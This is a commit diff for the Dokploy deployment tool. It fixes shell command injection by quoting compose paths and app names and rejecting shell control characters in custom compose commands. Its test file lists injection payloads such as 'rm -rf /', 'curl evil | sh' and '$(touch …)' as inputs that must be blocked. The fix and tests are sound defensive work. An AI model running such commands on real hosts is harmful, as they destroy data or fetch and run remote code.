History

fix(security): escape compose path and validate custom compose command

- composePath / appName are now passed through shell-quote in createCommand, getCreateEnvFileCommand and services/compose.ts deploy commands, instead of being interpolated raw into 'docker compose'/'docker stack' shell commands. - compose.command: sanitizeCommand was cosmetic (trim + strip quotes). It now rejects shell control characters (; & | ` $ () {} <> newline), which a normal docker compose CLI line never contains, blocking breakout into host commands. Closes GHSA-8r5w-vqjr-8c44, GHSA-5xv2-7f8w-9j5c, GHSA-qh6h-669j-77rw

Mauricio Siu committed 3 months ago

Commit d48037a1 parent 8539a5c3 files · +121 −5Browse files

Unified · Split

3 files
  1. apps/dokploy/__test__/compose/compose-command-injection.test.ts +104 −0
  2. packages/server/src/services/compose.ts +2 −1
  3. packages/server/src/utils/builders/compose.ts +15 −4
apps/dokploy/__test__/compose/compose-command-injection.test.ts+104−0
@@ -0,0 +1,104 @@
1import { execSync } from "node:child_process";
2import { existsSync, rmSync } from "node:fs";
3import { createCommand } from "@dokploy/server/utils/builders/compose";
4import { parse, quote } from "shell-quote";
5import { describe, expect, it } from "vitest";
6
7const MARK = `/tmp/dokploy_compose_pwned_${process.pid}`;
8
9const base = {
10 composeType: "docker-compose" as const,
11 appName: "compose-app",
12 sourceType: "raw" as const,
13 command: "",
14 composePath: "docker-compose.yml",
15};
16
17// createCommand output is interpolated as `docker ${command}` at the deploy
18// sink; run `: ${command}` (docker -> no-op) and assert no injection fires.
19const runsSafely = (command: string) => {
20 if (existsSync(MARK)) rmSync(MARK);
21 try {
22 execSync(`: ${command}`, { shell: "/bin/sh", stdio: "ignore" });
23 } catch {}
24 const fired = existsSync(MARK);
25 if (existsSync(MARK)) rmSync(MARK);
26 return !fired;
27};
28
29const PAYLOADS = [
30 `$(touch ${MARK})`,
31 "`touch " + MARK + "`",
32 `x; touch ${MARK}`,
33 `x | touch ${MARK}`,
34];
35
36describe("compose createCommand injection", () => {
37 it("escapes composePath (docker-compose)", () => {
38 for (const p of PAYLOADS) {
39 const cmd = createCommand({
40 ...base,
41 sourceType: "github",
42 composePath: p,
43 } as any);
44 expect(runsSafely(cmd)).toBe(true);
45 }
46 });
47
48 it("escapes composePath (stack deploy)", () => {
49 for (const p of PAYLOADS) {
50 const cmd = createCommand({
51 ...base,
52 composeType: "stack",
53 sourceType: "github",
54 composePath: p,
55 } as any);
56 expect(runsSafely(cmd)).toBe(true);
57 }
58 });
59
60 it("escapes appName", () => {
61 for (const p of PAYLOADS) {
62 const cmd = createCommand({
63 ...base,
64 sourceType: "github",
65 appName: p,
66 composePath: "docker-compose.yml",
67 } as any);
68 expect(runsSafely(cmd)).toBe(true);
69 }
70 });
71
72 it("rejects a custom command containing shell control characters", () => {
73 for (const bad of [
74 "up -d; rm -rf /",
75 "up && curl evil | sh",
76 "up $(touch x)",
77 "up `id`",
78 ]) {
79 expect(() =>
80 createCommand({ ...base, command: bad } as any),
81 ).toThrow(/Invalid characters/);
82 }
83 });
84
85 it("allows a legitimate custom command", () => {
86 const cmd = createCommand({
87 ...base,
88 command: "compose -f docker-compose.yml -p app up -d --build",
89 } as any);
90 expect(cmd).toBe("compose -f docker-compose.yml -p app up -d --build");
91 });
92
93 it("keeps a legitimate composePath intact", () => {
94 const cmd = createCommand({
95 ...base,
96 sourceType: "github",
97 composePath: "deploy/docker-compose.prod.yml",
98 } as any);
99 expect(parse(cmd)).toContain("deploy/docker-compose.prod.yml");
100 expect(quote(["deploy/docker-compose.prod.yml"])).toBe(
101 "deploy/docker-compose.prod.yml",
102 );
103 });
104});
packages/server/src/services/compose.ts+2−1
@@ -33,6 +33,7 @@ import { cloneGitlabRepository } from "@dokploy/server/utils/providers/gitlab"; · 32 unmodified lines
33import { getCreateComposeFileCommand } from "@dokploy/server/utils/providers/raw";33import { getCreateComposeFileCommand } from "@dokploy/server/utils/providers/raw";
34import { TRPCError } from "@trpc/server";34import { TRPCError } from "@trpc/server";
35import { eq } from "drizzle-orm";35import { eq } from "drizzle-orm";
36import { quote } from "shell-quote";
36import type { z } from "zod";37import type { z } from "zod";
37import { encodeBase64 } from "../utils/docker/utils";38import { encodeBase64 } from "../utils/docker/utils";
38import { getDokployUrl } from "./admin";39import { getDokployUrl } from "./admin";
@@ -472,7 +473,7 @@ export const startCompose = async (composeId: string) => { · 433 unmodified lines
472 const projectPath = join(COMPOSE_PATH, compose.appName, "code");473 const projectPath = join(COMPOSE_PATH, compose.appName, "code");
473 const path =474 const path =
474 compose.sourceType === "raw" ? "docker-compose.yml" : compose.composePath;475 compose.sourceType === "raw" ? "docker-compose.yml" : compose.composePath;
475 const baseCommand = `env -i PATH="$PATH" docker compose -p ${compose.appName} -f ${path} up -d`;476 const baseCommand = `env -i PATH="$PATH" docker compose -p ${quote([compose.appName])} -f ${quote([path])} up -d`;
476 if (compose.composeType === "docker-compose") {477 if (compose.composeType === "docker-compose") {
477 if (compose.serverId) {478 if (compose.serverId) {
478 await execAsyncRemote(479 await execAsyncRemote(
packages/server/src/utils/builders/compose.ts+15−4
@@ -67,9 +67,20 @@ Compose Type: ${composeType} ✅`; · 66 unmodified lines
67 return bashCommand;67 return bashCommand;
68};68};
69 69
70// Shell control characters that must never appear in a user-provided compose
71// command: they would let it break out of the `docker ${command}` invocation
72// into arbitrary host commands. A normal docker compose CLI line never needs them.
73const UNSAFE_COMPOSE_COMMAND = /[;&|`$(){}<>\n\\]/;
74
70const sanitizeCommand = (command: string) => {75const sanitizeCommand = (command: string) => {
71 const sanitizedCommand = command.trim();76 const sanitizedCommand = command.trim();
72 77
78 if (UNSAFE_COMPOSE_COMMAND.test(sanitizedCommand)) {
79 throw new Error(
80 "Invalid characters in compose command: shell control characters are not allowed",
81 );
82 }
83
73 const parts = sanitizedCommand.split(/\s+/);84 const parts = sanitizedCommand.split(/\s+/);
74 85
75 const restCommand = parts.map((arg) => arg.replace(/^"(.*)"$/, "$1"));86 const restCommand = parts.map((arg) => arg.replace(/^"(.*)"$/, "$1"));
@@ -88,9 +99,9 @@ export const createCommand = (compose: ComposeNested) => { · 12 unmodified lines
88 let command = "";99 let command = "";
89 100
90 if (composeType === "docker-compose") {101 if (composeType === "docker-compose") {
91 command = `compose -p ${appName} -f ${path} up -d --build --remove-orphans`;102 command = `compose -p ${quote([appName])} -f ${quote([path])} up -d --build --remove-orphans`;
92 } else if (composeType === "stack") {103 } else if (composeType === "stack") {
93 command = `stack deploy -c ${path} ${appName} --prune --with-registry-auth`;104 command = `stack deploy -c ${quote([path])} ${quote([appName])} --prune --with-registry-auth`;
94 }105 }
95 106
96 return command;107 return command;
@@ -124,8 +135,8 @@ export const getCreateEnvFileCommand = (compose: ComposeNested) => { · 27 unmodified lines
124 135
125 const encodedContent = encodeBase64(envFileContent);136 const encodedContent = encodeBase64(envFileContent);
126 return `137 return `
127touch ${envFilePath};138touch ${quote([envFilePath])};
128echo "${encodedContent}" | base64 -d > "${envFilePath}";139echo "${encodedContent}" | base64 -d > ${quote([envFilePath])};
129 `;140 `;
130};141};
131 142